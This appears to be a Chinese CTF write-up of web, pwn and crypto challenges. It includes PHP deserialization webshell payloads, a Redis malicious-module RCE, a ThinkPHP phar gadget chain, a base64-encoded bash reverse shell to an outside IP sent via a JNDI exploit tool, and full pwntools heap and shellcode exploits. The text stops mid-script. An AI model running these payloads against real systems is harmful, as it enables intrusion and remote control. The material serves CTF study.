发布于2022年11月5日3年前 Web1.esay_eval<?php class A{ public $code = ""; function __call($method,$args){ eval($this->code); } function __wakeup(){ $this->code = ""; } } class B{ function __destruct(){ echo $this->a->a(); } } if(isset($_REQUEST['poc'])){ preg_match_all('/"[BA]":(.*?):/s',$_REQUEST['poc'],$ret); if (isset($ret[1])) { foreach ($ret[1] as $i) { if(intval($i)!==1){ exit("you want to bypass wakeup ? no !"); } } unserialize($_REQUEST['poc']); } }else{ highlight_file(__FILE__); }简单分析一下主要绕过那个__wakeup函数就可以rce了关于preg_match_all这个函数看这篇文章php preg_match_all()函数介绍与用法 - 飞鸟慕鱼博客 (feiniaomy.com)最后要让$ret[1]里面的两个变量都等于1,因为他后面还有个intval($i)!==1的限制,(这个用大小写绕过就行了,因为php的变量名区分大小写,函数名、方法名、类名不区分大小写。)因为必须要绕过wakeup,所以用小写不让preg_match_all两个都匹配,放出来一个去绕过wakeup就可以了。构造payload<?phpclass A{ public $code = ""; public function __construct(){ $this->code = "eval(\$_POST[1]);"; }} class B{ public function __construct(){ $this->a = new A(); }}echo serialize(new B());$前面加\是怕序列化的时候执行了变成这样得到O:1:"B":1:{s:1:"a";O:1:"A":1:{s:4:"code";s:19:"eval($_REQUEST[1]);";}},把A改为小写,即可修改后面数字来绕过即O:1:"B":1:{s:1:"a";O:1:"a":2:{s:4:"code";s:19:"eval($_REQUEST[1]);";}},连接蚁剑拿到shell代码审计,直接反序列化构造一句话木马小写对象a绕过payload?poc=O:1:"B":1:{s:1:"a";O:1:"a":2:{s:4:"code";s:16:"eval($_POST[0]);";}}蚁剑连接发现有disable_function,试了下蚁剑自带的bypass无果,然后在网站根目录发现了 有 config.php.swp vi-r 解一下发现 redis 密码 github 上有 redis rce 的恶意 so 文件上传到 tmp 目录下然后用蚁剑 redis 插件加载恶意模块rceRedis加载恶意so获取shell蚁剑找到了一个config,恢复一下下载下来丢到linux用vi恢复vi -r config.php这个redis密码看着太像假的了,但就是真的,用蚁剑的redis插件连接接着就是打redis,在phpinfo发现有open_basedir,有个tmp还能用,那就把恶意so传上去https://github.com/Dliv3/redis-rogue-server直接用蚁剑使用redis插件连接redis127.0.0.1:6379> module load /tmp/exppadding.soOK127.0.0.1:6379> system.exec "id""uid=0(root) gid=0(root) groups=0(root)\n附上本地环境“:FROM ubuntu:16.04COPY src/sources.list /etc/apt/sources.listCOPY src/redis-4.0.9 /home/redis-4.0.9RUN apt-get update && \ apt-get install -y curl \ software-properties-common \ python3-software-properties \ python-software-properties \ unzip \ vimRUN apt-get install -y apache2RUN service apache2 restartRUN locale -aRUN export LANG=C.UTF-8 && \ add-apt-repository ppa:ondrej/php && \ apt-get updateRUN apt-get install -y libapache2-mod-php7.0 \ libzend-framework-php \ php7.0-cli \ php7.0 \ php7.0-bcmath \ php7.0-bz2 \ php7.0-cgi \ php7.0-common \ php7.0-fpm \ php7.0-gmp \ php-http \ php-imagick \ php7.0-intl \ php7.0-json \ php7.0-mbstring \ php-memcache \ php-memcached \ php7.0-mysql \ php7.0-recode \ php7.0-gd \ php7.0-mcrypt \ php7.0-xml \ php7.0-pdo \ php7.0-opcache \ php7.0-curl \ php7.0-zipRUN apt install -y gcc \ makeRUN cd /home/redis-4.0.9 &&\ cp -r /home/redis-4.0.9 /usr/local/redis &&\ cd /usr/local/redis &&\ make && make PREFIX=/usr/local/redis install &&\ export REDIS_HOME=/usr/local/redis &&\ export PATH=$PATH:$REDIS_HOME/binCOPY src /tmp/srcRUN mv /tmp/src/web.ini /etc/php/7.0/apache2/conf.d/php.ini &&\ rm -rf /var/www/html &&\ mv /tmp/src/html /var/www/html &&\ mv /tmp/src/start.sh /start.sh &&\ chmod +x /start.shEXPOSE 80CMD ["/start.sh"]其中web.ini就是php的配置文件,可以在里面设置disable_function等2.jackson原题不说了嗷https://www.redmango.top/article/61#javaweb 先看题目给的pom.xml有shiro1.5.1,cc3.2.1题目名字叫jackson那么应该就是shiro验证绕过访问路由通过jackson反序列化打cc链发现有json路由需要登陆通过/;/json绕过那么就直接上工具:https://github.com/welk1n/JNDI-Injection-Exploitjava -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -A "47.100.27.114" -C 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMDAuMjcuMTE0LzgwODggMD4mMQ==}|{base64,-d}|{bash,-i}'或者看到pom.xml里面的框架版本可以想到CVE-2020-1957jackson反序列化 + JNDI注入 + LDAP返回序列化数据触发本地Gadget Bypass jdk 8u_191限制4POST /;/json HTTP/1.1 Host: 8.134.37.86:20947 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Connection: close Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0 Content-Type: application/json Content-Length: 97 ["ch.qos.logback.core.db.JNDIConnectionSource",{"jndiLocation":"ldap://106.15.250.209:8091/a bc"}]Nc得到了反弹,直接获取根目录的flag即可3.ezTP通过robots.txt 得到www.zip 源代码:目录结构:很明显的TP框架 查看版本得到:5.0.10一开始尝试TP框架的RCE,无果。遂放弃然后查看Controller有一个index和admin:Admin控制器:Index控制器:看起来 好像没什么问题。但是可以看到,必须要登录admin才可以进行admin控制器里面的上传和列目录操作故肯定是要注入,百度搜索到了该版本的TP框架注入:https://www.cnblogs.com/wangtanzhi/p/12734685.html注入登录admin账户:然后查看admin控制器的listdir 可以发现is_dir函数是可以触发phar反序列化的。参考:https://www.anquanke.com/post/id/251318#h2-1但是会发现使用如上链接的poc,与网上的poc均不可用。本地搭建环境调试了一下,发现:Process.php的close方法:与原来的tp框架不一样,多增加了一个if来过滤,因为原本的 HasMany 类并没有close方法,导致没办法调用$this->processPipes->close()方法,就无法进行下面的反序列化写文件RCE了,所以网上的POC就会没用。现在需要做的是需要一个有close方法的类,并且内部需要调用成员变量的close方法。这样就可以绕过过滤,并且可以继续反序列化。在这里我找到了Memcache类,只要将原来的链子 接入到$this->handler 变量里面去,就可以继续下去反序列化了。但是通过调试:这个path路径,写下去找不到文件。所以我改成了绝对路径,写到public目录下反序列化POC:<?phpnamespace think;use think\session\driver\Memcache;class Process{ private $processPipes; private $status; private $processInformation; public function __construct(){ $this->processInformation['running']=true; $this->status=3; $this->processPipes=(new Memcache(1)); }} namespace think; class Model{ } namespace think\model; use think\Model; class Merge extends Model{ public $a='1'; public function __construct(){ } } namespace think\model\relation;use think\console\Output;use think\db\Query;use think\model\Merge;use think\model\Relation;class HasMany extends Relation{ //protected $baseQuery=true; protected $parent; protected $localKey='a'; protected $foreignKey='a'; protected $pivot; public function __construct(){ $this->query=new Output(); $this->parent= new Merge(); }}namespace think\model;class Relation{}namespace think\db;class Query{}namespace think\console;class Output{ protected $styles = [ 'info', 'error', 'comment', 'question', 'highlight', 'warning', 'getTable', 'where' ]; private $handle; public function __construct(){ $this->handle = (new \think\session\driver\Memcache(0)); }}namespace think\session\driver;class Memcache{ protected $handler; public function __construct($i){ if($i==0){ $this->handler = (new \think\cache\driver\Memcached(0)); }else{ $this->handler = (new \think\model\relation\HasMany); } }}namespace think\cache\driver;class Memcached{ protected $tag; protected $options; protected $handler; public function __construct($i){ if($i==0){ $this->tag = true; $this->options = [ 'expire' => 0, 'prefix' => 'PD9waHAgZXZhbCgkX1BPU1RbJ3pjeTIwMTgnXSk7ID8+', ]; $this->handler = (new File); } }}class File{ protected $tag; protected $options; public function __construct(){ $this->tag = false; $this->options = [ 'expire' => 3600, 'cache_subdir' => false, 'prefix' => '', 'data_compress' => false, 'path' => 'php://filter/write=convert.base64-decode/resource=/var/www/html/public/', ]; }}$o = new \think\Process();$phar = new \Phar("test.phar"); //后缀名必须为phar$phar->startBuffering();$phar->setStub("GIF89A <?php __HALT_COMPILER(); ?>"); //设置stubb$phar->setMetadata($o); //将自定义的meta-data存入manifest里$phar->addFromString("test.txt", "test"); // 添加要压缩的文件$phar->stopBuffering(); // 签名自动计算需要添加GIF89A 头来绕过检测图片格式。保存jpg上传头像,然后:http://8.134.37.86:24954/public/?s=admin/index/listpic&dir=phar:///var/www/html/public/static/img/person.jpg最后访问shell 拿flag:PWN1.chaos首先是一个输入,输入完之后逻辑比较长,我们一点一点分析。首先是一个大的while循环。while ( !*a1 || *a1 != 10 && (*a1 != 13 || a1[1] != 10) ) { if ( v8 <= 5 ) *((_QWORD *)&unk_202060 + 2 * v8) = a1; sb = strchr(a1, 58); if ( !sb ) { puts("error."); exit(1); } *sb = 0; for ( sc = sb + 1; *sc && (*sc == 32 || *sc == 13 || *sc == 10 || *sc == 9); ++sc ) *sc = 0; if ( !*sc ) { puts("abort."); exit(2); } if ( v8 <= 5 ) qword_202068[2 * v8] = sc; sd = strchr(sc, 10); if ( !sd ) { puts("error."); exit(3); } *sd = 0; a1 = sd + 1; if ( *a1 == 13 ) *a1++ = 0; s1 = (char *)*((_QWORD *)&unk_202060 + 2 * v8); nptr = (char *)qword_202068[2 * v8]; if ( !strcasecmp(s1, "opcode") ) { if ( v7 ) { puts("error."); exit(5); } v7 = atoi(nptr); } else { if ( strcasecmp(s1, "passwd") ) { puts("error."); exit(4); } if ( strlen(nptr) <= 1 ) { puts("error."); exit(5); } v9 = strlen(nptr) - 1; if ( dest ) { puts("error."); exit(5); } dest = calloc(v9 + 8, 1uLL); if ( v9 <= 0 ) { puts("error."); exit(5); } memcpy(dest, nptr, v9); } ++v8; }说白了就是对我们的输入进行要求,要求opcode:1就是功能1,然后功能里面有密码,需要用passwd来用功能1举例,完整的一个create输入是“opcode:1\npasswd:Cr4at3a\n”那我们再来看功能create需要一个大小,最大0x208,创建的chunk是0x210,最后两个QWORD分别是大小跟一个指针。这个指针会把我们所有的chunk串起来,构成一个单链表的状态,链表头放在bss有漏洞,在哪?在我们写的时候居然可以把size覆盖掉,第一次覆盖掉,第二次就可以溢出。editshowdelete剩下三个函数就平平无奇。我们就利用那个溢出,首先泄露libc,之后直接攻击tcache打free_hook就好啦Vulnerability:00000000 node struc ; (sizeof=0x211, mappedto_8)00000000 field_0 db 512 dup(?)00000200 size dd ?00000204 field_204 dd ?00000208 next dq ? ; offset00000210 field_210 db ?00000211 node endsAs above, it set the size to 0x208 over the length of buf. So it follows that we can result in heap overflow.void __fastcall add(const char *a1){ int size; // [rsp+14h] [rbp-2Ch] node *buf; // [rsp+18h] [rbp-28h] node *tmp_link; // [rsp+20h] [rbp-20h] char s[12]; // [rsp+2Ch] [rbp-14h] BYREF unsigned __int64 v5; // [rsp+38h] [rbp-8h] v5 = __readfsqword(0x28u); if ( strcmp(a1, "Cr4at3") ) { puts("error."); exit(5); } printf(">>> "); memset(s, 0, sizeof(s)); read(0, s, 0xBuLL); size = atoi(s); if ( size <= 0 || size > 0x208 ) { puts("error."); exit(5); } buf = (node *)malloc(0x210uLL); buf->next = 0LL; tmp_link = node_link; node_link = buf; buf->next = tmp_link; buf->size = size; printf(">>> "); read(0, buf, (unsigned int)buf->size);}Exploit:1.leak2.hijack hook3.get shell#!/usr/bin/python3# -*- coding:utf-8 -*-from pwn import *import os, struct, random, time, sys, signalcontext.arch = 'amd64'# context.log_level = 'debug'# sh = process('./chaos')sh = remote('8.134.97.12', 25036)def add(content): sh.sendlineafter(b'>>> ', b'opcode:1\npasswd:Cr4at3 \n') sh.sendafter(b'>>> ', b'520') sh.sendafter(b'>>> ', content)def show(offset): sh.sendlineafter(b'>>> ', b'opcode:2\npasswd:SH0w \n') sh.sendafter(b'>>> ', str(offset).encode())def edit(offset, content): sh.sendlineafter(b'>>> ', b'opcode:3\npasswd:Ed1t \n') sh.sendafter(b'>>> ', str(offset).encode()) sh.sendafter(b'>>> ', content)def delete(offset): sh.sendlineafter(b'>>> ', b'opcode:4\npasswd:D3l4te \n') sh.sendafter(b'>>> ', str(offset).encode())for i in range(9): add(b'a')for i in range(9): delete(0)for i in range(7): add(b' ')add(b'b' * 8)show(0)sh.recvuntil(b'bbbbbbbb')libc_addr = u64(sh.recvn(6) + b'\0\0') - 0x3ebeb0success('libc_addr: ' + hex(libc_addr))for i in range(8): delete(0)add(b' ')add(b' ')delete(0)edit(0, b'\0' * 0x200 + p32(0x1000))edit(0, b'\0' * 0x200 + p64(0x1000) + b'\0' * 0x38 + p64(libc_addr + 0x3ed8e8 - 8))add(b' ')add(b'/bin/sh\0' + p64(libc_addr + 0x4f550))delete(0)sh.interactive()# flag{Arb1Tr4ry_Re4d_Wr1t3_1n_L1nkl1st}# flag{c6MsFlPDHqkb0mAr2oeTV4UuCLNB7KOv}2.ezshell逻辑简单,开了一个可以rwx的页,我们输入一段shellcode,绕过一些检查,开了沙箱,最后执行它。一点一点来,首先我们输入shellcode之后函数__ctype_b_loc函数是干嘛的?我们去读源码,在ctype/ctype.h#ifndef _ISbit/* These are all the characteristics of characters. If there get to be more than 16 distinct characteristics, many things must be changed that use `unsigned short int's. The characteristics are stored always in network byte order (big endian). We define the bit value interpretations here dependent on the machine's byte order. */# include <bits/endian.h># if __BYTE_ORDER == __BIG_ENDIAN# define _ISbit(bit) (1 << (bit))# else /* __BYTE_ORDER == __LITTLE_ENDIAN */# define _ISbit(bit) ((bit) < 8 ? ((1 << (bit)) << 8) : ((1 << (bit)) >> 8))# endifenum{ _ISupper = _ISbit (0), /* UPPERCASE. */ _ISlower = _ISbit (1), /* lowercase. */ _ISalpha = _ISbit (2), /* Alphabetic. */ _ISdigit = _ISbit (3), /* Numeric. */ _ISxdigit = _ISbit (4), /* Hexadecimal numeric. */ _ISspace = _ISbit (5), /* Whitespace. */ _ISprint = _ISbit (6), /* Printing. */ _ISgraph = _ISbit (7), /* Graphical. */ _ISblank = _ISbit (8), /* Blank (usually SPC and TAB). */ _IScntrl = _ISbit (9), /* Control character. */ _ISpunct = _ISbit (10), /* Punctuation. */ _ISalnum = _ISbit (11) /* Alphanumeric. */};#endif /* ! _ISbit */意思就是将我们输入的字符,根据((bit) < 8 ? ((1 << (bit)) << 8) : ((1 << (bit)) >> 8))进行处理,然后根据下面对应的进行返回。我们稍加分析之后会得到一个表。所以要求我们&0x4000不等于0的意思就是要求的是可见字符,这个简单,我们最后的shellcode用ae64处理一下就可以了。继续往下读,会有两个prctl。第一个我们经常见,很熟悉,就是把execve给ban掉而已。第二个很有意思,它会不让我们dump信息以及不给我们调试。就是我们gdb调试调到那一步会直接崩掉seccomp-tools dump ./binary也会崩掉。虽然说我们可以用进入root权限避免这个事情,但是在我们用gdb.attach去进行调试的时候还是会有很多问题,我们无法在root权限下调试。所以我们在这里考虑直接将程序的那一句给patch掉。非常牛,省的它麻烦我们。然后就可以正常看看沙箱干了点啥。沙箱显示呢我们的系统调用只有两个,open跟read,而且read有条件,fd必须大于等于4.我们分开解决,首先解决没有write的问题。在蓝帽杯决赛的silent跟强网杯的shellcode中都有过这个问题,我们就是简单的利用侧信道攻击,说白了就是通过爆破,当我们把flag读出来之后,我们一个字符一个字符去进行爆破比较,如果命中,就跳进死循环,如果跳进死循环,检测出来,就证明我们命中,从而进行爆破。但是这有引出一个问题,我们命中的话就跳进死循环,那没命中呢?如果直接不管,那个它也会卡住,会被程序认为命中,如果我们调用exit,但是沙箱不允许我们那样做,怎么处理这个问题?我们只要利用沙箱并不让我做这个事情解决,我们就来一个不让做的系统调用,他会报错,Bad system call。然后结束程序,那么我们的要求就达到了。还有一个问题,就是read函数fd的问题,这个就好解决了,我们只要把flag文件多开几次就好啦。Run shellcode#!/usr/bin/python3# -*- coding:utf-8 -*-from pwn import *import os, struct, random, time, sys, signalcontext.arch = 'amd64'context.log_level = 'error'# sh = process('./ezshell')sh = remote('8.134.37.86', 28310)shellcode = asm(''' xor eax,eax push rax mov rax, 0x67616c66 ;// flag push rax mov rdi, rsp xor esi, esi xor eax, eax mov al, 2 syscall xor eax,eax push rax mov rax, 0x67616c66 ;// flag push rax mov rdi, rsp xor esi, esi xor eax, eax mov al, 2 syscall xor eax,eax push rax mov rax, 0x67616c66 ;// flag push rax mov rdi, rsp xor esi, esi xor eax, eax mov al, 2 syscall xor eax,eax push rax mov rax, 0x67616c66 ;// flag push rax mov rdi, rsp xor esi, esi xor eax, eax mov al, 2 syscall xor eax,eax push rax mov rax, 0x67616c66 ;// flag push rax mov rdi, rsp xor esi, esi xor eax, eax mov al, 2 syscallloop1: test rax, rax js loop1 mov edi, eax xor eax, eax mov rsi, rsp mov edx, 0x01010101 syscall xor eax, eax xor ebx, ebx mov al, %d mov bl, [rsp+rax] sub bl, %dloop2: test rbx, rbx jz loop2int3''' % (int(sys.argv[1]), int(sys.argv[2])))open('./shellcode', 'wb').write(shellcode)encode_shellcode = os.popen('cd alpha3; python2 ALPHA3.py x64 ascii mixedcase rdx --input=../shellcode ;')sh.sendafter(b'shellcode?\n', encode_shellcode.read())now = time.time()sh.recvrepeat(5)diff = time.time() - nowif(diff > 4): print('yes')# flag{Orpwn2jARhxISTsEvzuY1lVZa8WCXkb5}或者from pwn import *from ae64 import AE64# p = remote("8.140.177.7", 40334)context(os="linux", arch="amd64")#context.log_level = "debug"context.terminal= ['tmux','splitw','-h']map_addr = 0x10000flag_addr = 0x10100def exp(offset, ch): code = asm( """ push 0x67616c66 mov rdi, rsp xor edx, edx xor esi, esi push SYS_open pop rax syscall push SYS_open pop rax syscall push SYS_open pop rax syscall push SYS_open pop rax syscall xor eax, eax push 6 pop rdi push 0x50 pop rdx mov rsi, 0x10100 syscall mov dl, byte ptr [rsi+{}] mov cl, {} cmp cl, dl jz loop mov al,231 syscall loop: jmp loop """.format(offset, ch) ) obj = AE64() sc = obj.encode(code,'rdx') print sc p.recvuntil("Are you a master of shellcode?\n") p.send(sc)flag = ""for i in range(len(flag),50): sleep(1) log.success("flag : {}".format(flag)) for j in range(0x100): p = process('./chall') try: exp(i,j) p.recvline(timeout=1) flag += chr(j) p.send('\n') log.success("{} pos : {} success".format(i,chr(j))) log.success(flag) p.close() break except: p.close()3.overheapVulnerability:Just off-by-null, as we can be seen from the challenge hint.Exploit:1.leak libc and heap address information2.chunk overlap3.hijack stdout to leak stack address information4.hijack stack5.ROP and run shellcodeThe remote server can't fork process to be not able to execute the function system().#!/usr/bin/python3# -*- coding:utf-8 -*-from pwn import *import os, struct, random, time, sys, signalcontext.arch = 'amd64']# context.log_level = 'debug'# sh = process('./overheap')sh = remote('8.134.51.71', 22213)def add(size): sh.sendlineafter(b'>> ', b'1') sh.sendlineafter(b'Size:', str(size).encode())def show(index): sh.sendlineafter(b'>> ', b'2') sh.sendlineafter(b'id:', str(index).encode())def edit(index, content, raw=False): sh.sendlineafter(b'>> ', b'3') sh.sendlineafter(b'id:', str(index).encode()) if(raw): sh.sendafter(b'Content:', content) else: sh.sendlineafter(b'Content:', content)def delete(index): sh.sendlineafter(b'>> ', b'4') sh.sendlineafter(b'id:', str(index).encode())add(0x18)add(0x500)add(0x18)add(0x510)add(0x18)delete(1)delete(3)add(0x600)add(0x500)show(3)result = u64(sh.recvn(8))libc_addr = result - 0x2190f0success('libc_addr: ' + hex(libc_addr))heap_addr = u64(sh.recvn(8)) - 0x7e0success('heap_addr: ' + hex(heap_addr))add(0x510)add(0xf8)add(0x590)edit(7, b'\0' * 0x4f0 + p64(0x21) * 14)edit(6, p64(0) + p64(0xf1) + p64(heap_addr + 0x1340) + p64(heap_addr + 0x1340) + b'\0' * 0xd0 + p64(0xf0), 1)delete(7)add(0x68)add(0x68)delete(8)delete(7)stdout = libc_addr + 0x219760environ = libc_addr + 0x220ec0next_key = ((heap_addr + 0x1000) >> 0xc) ^ (stdout)edit(6, b'\0' * 0x8 + p64(0x71) + p64(next_key))add(0x68)add(0x68)add(0x68)edit(8, p64(0xfbad2887|0x1000) + p64(0) * 3 + p64(environ) + p64(environ+8) * 2)stack_addr = u64(sh.recvn(8))success('stack_addr: ' + hex(stack_addr))delete(9)delete(7) offset = +0next_key = ((heap_addr + 0x1000) >> 0xc) ^ ((stack_addr-0x180 + offset)&(~0xf))edit(6, b'\0' * 0x8 + p64(0x71) + p64(next_key))add(0x68)add(0x68)layout = [ libc_addr + 0x000000000002e6c5, #: pop rdi; ret; stack_addr & ~(0xfff), libc_addr + 0x0000000000030081, #: pop rsi; ret; 0x2000, libc_addr + 0x00000000001221f1, #: pop rdx; pop r12; ret; 7,0, libc_addr + 0x0000000000049f00, #: pop rax; ret; 3, libc_addr + 0x000000000008139b, #: add eax, edx; ret; libc_addr + 0x0000000000095186, #: syscall; ret; stack_addr-0xc0,]shellcode = asm(''' ;// mov rax, 0x7478742e67616c66 ;// flag.txt ;// mov rax, 0x67616c662f ;// /flag mov rax, 0x67616c66 ;// flag push 0 push rax mov rdi, rsp xor esi, esi mov eax, 2 syscall cmp eax, 0 js fail mov edi, eax mov rsi, rsp add rsi, 0x200 push rsi mov edx, 100 xor eax, eax syscall ;// read mov edx, eax mov eax, 1 pop rsi mov edi, eax syscall ;// write jmp exit fail: mov rax, 0x727265206e65706f ;// open error! mov [rsp], rax mov eax, 0x0921726f add eax, 0x01000000 mov [rsp+8], rax mov rsi, rsp mov edi, 1 mov edx, 12 mov eax, edi syscall ;// write exit: xor edi, edi mov eax, 231 syscall ''')edit(9, p32(0) + p32(0x1f8) + p8((stack_addr-0x150 + offset) & 0xff) + b'a' * 0x7 + p64(libc_addr + 0x000000000002c7a9) + p64(libc_addr + 0x000000000002e6c5) + p64(libc_addr + 0x1dbc3a) + p64(libc_addr + 0x644b0) + flat(layout) + shellcode)sh.interactive()# flag{icOpmxhuFMAjgbQkKb7dgSjUrlx0KfNk}Crypto1.TryHash本题密码算法的设计漏洞其实在于其轮函数f的设计。具体来说其轮函数具有较差的差分性质。def g(self,v1,v2,x): value = (v1+v2+x)%256 value = ((value<<3) | (value>>5)) &0xff return value def f(self,value): v1,v2 = unpack('>2B',pack('>H',value)) v2 = self.g(v1,v2,1) v1 = self.g(v1,v2,0) value = unpack('>H',pack('>2B',v1,v2)) return value[0] 具体来说,通过数学推导,我们可以发现,对于f来说,当其两个输入的差分为0x8080时,其输出差分100%是0x400。根据这一差分性质,我们可以对该加密算法进行差分分析攻击。差分分析的具体原理可以参考这个blog http://www.theamazingking.com/crypto-feal.php我们以对最后一轮加密(即第3轮)进行攻击为例,介绍攻击的流程。我们构造两个特殊的输入 (L0,R0)和 (L0’,R0’)其中 L0 = L0‘, R0 = R0’^0x8080,让服务器加密,得到加密结果 (L3,R3),(L3’,R3’).通过对该加密算法的推导,我们可以得到关于第3轮轮函数f的运算关系。f(round3_key^L0) = out1 f(round3_key^L0') = out2 out1^out2 = R0^L0^R0'^L0'^0x400 其中,只有round3_key是未知的,其他参数都是已知的。round3_key的大小为2个字节,完全可以通过爆破来得到正确的解。这样我们就把对于整个key的求解,拆分到对于轮密钥的求解,爆破复杂度从 2^64降低到了 2^16需要注意的是对于一组明密文对,可能有多个符合关系的解,我们可以同时对多组明密文对进行求解,来过滤掉错误的解。依次类推,可以用相似的方法得到第1,2,3轮的轮密钥。有了这三轮的轮密钥后,可以通过逆运算很块的求解出第0轮的密钥,最终恢复出整个密钥。完整解题脚本from pwn import *from gmpy2 import *from hashlib import sha256from ctypes import *from Crypto.Util.number import *def encrypt(text,key): text=[text[i:i+16:] for i in range(0,len(text),16)] delta=0x9e3779b9 s=c_uint32(0) ct=[] for t in text: t0=c_uint32(int(t[0:8],16)) t1=c_uint32(int(t[8:16],16)) for i in range(32): s.value=(s.value+delta) t0.value+=(((t1.value<<4))+key[0])^(t1.value+s.value)^(((t1.value>>5))+key[1]) t1.value+=(((t0.value<<4))+key[2])^(t0.value+s.value)^(((t0.value>>5))+key[3]) ct.append(hex((t0.value<<32)|t1.value)) return ctdef decrypt(ctext,key): ctext=[ctext[i:i+16:] for i in range(0,len(ctext),16)] s=c_uint32(0) delta=0x9e3779b9 s.value=delta<<5 mt=[] for t in ctext: t0=c_uint32(int(t[0:8],16)) t1=c_uint32(int(t[8:16],16)) for i in range(32): t1.value-=(((t0.value<<4))+key[2])^(t0.value+s.value)^(((t0.value>>5))+key[3]) t0.value-=(((t1.value<<4))+key[0])^(t1.value+s.value)^(((t1.value>>5))+key[1]) s.value-=delta m=((t0.value<<32)|t1.value) mt.append(hex(m)) return mts = remote("8.134.37.86",21146)s.recvuntil("XXX+")a = s.recvuntil(")")la = a[:-1]s.recvuntil("==")a = s.recvuntil("\n")a = a[1:-1]print(la,a)strs='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'def get(): for i in range(64): for j in range(64): for k in range(64): for l in range(64): t = strs[i]+strs[j]+strs[k]+strs[l] m = t + la.decode() p = sha256() p.update(m.encode("UTF-8")) d = p.hexdigest() if a.decode() in d: return tans = get()print(ans)s.sendline(ans)s.recvuntil(b"ce:")s.sendline(b"0")s.recvuntil("for you")s.sendline(b"Iamthesuperadmim")strs=s.recvline()c = bytes_to_long(strs[:-1])c = hex(c)[2:]c += (8-(((len(c)-1)%8)+1))*'0'key = hex(bytes_to_long(b"Iamthesuperadmim"))[2:]key=[int(key[i:i+8],16) for i in range(0,len(key),8)]m=decrypt(c,key)print(m[-1])c = m.pop()[2:]c += (8-(((len(c)-1)%8)+1))*'0'key = hex(bytes_to_long(b"Iamthesuperadmin"))[2:]key=[int(key[i:i+8],16) for i in range(0,len(key),8)]m=encrypt(c,key)m = m.pop()print(m)s.recvuntil(b"ce:")s.sendline(b"1")s.recvuntil(b"?")s.sendline(long_to_bytes(eval(m)))print(s.recvline())或者from ctypes import c_uint32 as uint32 delta = 0x9E3779B9 sm, delta = uint32(0), uint32(delta) for i in range(32): sm.value += delta.value print(hex(sm.value)) #0xc6ef3720from pwn import *from ctypes import *from hashlib import sha256from ctypes import c_uint32 as uint32from struct import pack, unpackdef Pow(end, sha): table = "ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890abcdefghijklmnopqrstuvwxyz" for a in table: for b in table: for c in table: for d in table: s = (a + b + c + d).encode() + end.encode() if sha256(s).hexdigest() == sha: return a + b + c + ddef myhash(msg, identification): delta = 0x9E3779B9 v0, v1 = map(uint32, unpack('>2I', msg)) k0, k1, k2, k3 = map(uint32, unpack('>4I', identification)) sm, delta = uint32(0), uint32(delta) for i in range(32): sm.value += delta.value v0.value += ((v1.value << 4) + k0.value) ^ (v1.value + sm.value) ^ ((v1.value >> 5) + k1.value) v1.value += ((v0.value << 4) + k2.value) ^ (v0.value + sm.value) ^ ((v0.value >> 5) + k3.value) return pack('>2I', v0.value, v1.value)def decrypt(msg, identification): delta = c_int32(0xc6ef3720) v0, v1 = map(uint32, unpack('>2I', msg)) k0, k1, k2, k3 = map(uint32, unpack('>4I', identification)) for i in range(32): v1.value -= ((v0.value << 4) + k2.value) ^ (v0.value + delta.value) ^ ((v0.value >> 5) + k3.value) v0.value -= ((v1.value << 4) + k0.value) ^ (v1.value + delta.value) ^ ((v1.value >> 5) + k1.value) delta.value -= 0x9E3779B9 return pack('>2I', v0.value, v1.value)#https://www.icode9.com/content-1-1126418.htmlp=remote('8.134.37.86',24014)p.recvuntil(b'sha256(XXXX+')end=p.recv(16).decode()p.recvuntil(b' == ')sha=p.recvuntil('\n')[:-1].decode()xxxx=Pow(end,sha)p.recvuntil(b'Give me XXXX:')p.sendline(xxxx.encode())p.recvuntil(b'Choice:\n')p.sendline(b'0')p.recvuntil(b'I can hash for you')p.sendline(b'a'*16)userhash=p.recvuntil('\n')[:-1]adminpass = b'Iamthesuperadmin'nounce=decrypt(userhash,b'a'*16)hasher=myhash(nounce,adminpass)p.recvuntil(b'Choice:\n')p.sendline(b'1')p.recvuntil(b'Are you admin?')p.sendline(hasher)p.interactive()2.baby_Geometry 考察ecc加密,p选择的很小,可以直接枚举k获得私钥。提供了一个图片,发现是ECC算法,提供的阶数很小,可以直接爆破出密钥,解密脚本如下:msg=[ [1872,4517], [226,2], [2267,970], [6239,241], [2859,3408], [5000,774], [1568,6031], [2879,587], [2579,2114], [2267,970], [1568,6031], [2879,587], [2267,970], [4070,5982], [5388,2334], [5873,5782] ] a = 1 b = 5 p = 6277 E = EllipticCurve(GF(p), [a,b]) G = E([10,180]) k=381 r=6 for i in range(len(msg)): print(E(msg[i])-k*r*G))得到明文msg:转成文本或者p=6277a=1b=5E=EllipticCurve(GF(p),[a,b])G=E(10,180)K=E(5756,864)r=6for i in range(G.order()): if K==i*G: k=i breakC2=r*Gx=[1872,226,2267,6239,2859,5000,1568,2879,2579,2267,1568,2879,2267,4070,5488,5873]y=[4517,2,970,241,3408,774,6031,587,2114,970,6031,587,970,5982,2334,5782]m=""for i in range(16): C1=E(x[i],y[i]) m+=chr((C1-k*C2)[0])print(m)print("flag{"+m+"}")得到最终flag:flag{GEoM3t2Yfo2YoUXD}4.Crypto_mycipherfrom hashlib import sha256 import random from pwn import * from pwnlib.util.iters import bruteforce from struct import pack, unpack def g(v1,v2,x): value = (v1+v2+x)%256 value = ((value<<3) | (value>>5)) &0xff return value def f(value): v1,v2 = unpack('>2B',pack('>H',value)) v2 = g(v1,v2,1) v1 = g(v1,v2,0) value = unpack('>H',pack('>2B',v1,v2)) return value[0] def decrypt_ecb(cipher,key): msg = '' for i in range(0,len(cipher),4): msg += decrypt(cipher[i:i+4],key) return msg.strip('\x00') def decrypt(msg,key): subkeys = unpack('>4H',key) left,right = unpack('>2H',msg) left = right^left for i in range(3): left,right = right,left left = left^f(subkeys[2-i]^right) right = right^subkeys[3] return pack('>2H', left, right) def encrypt_ecb(msg,key): l = len(msg) if l%4 !=0: msg = msg+'\x00'*(4-(l%4)) cipher = '' for i in range(0,len(msg),4): cipher += 